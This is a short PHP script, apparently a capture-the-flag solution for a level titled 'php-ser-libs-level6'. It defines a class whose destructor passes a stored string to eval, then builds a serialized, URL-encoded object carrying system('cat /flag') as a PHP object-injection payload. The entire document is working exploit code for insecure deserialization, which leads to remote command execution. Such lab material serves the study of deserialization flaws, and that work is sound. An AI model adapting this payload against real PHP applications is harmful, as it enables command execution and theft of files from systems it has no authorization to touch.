php-ser-libs-level6

<?php
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$a=new secret("system('cat /flag');");
echo urlencode(serialize($a));
?>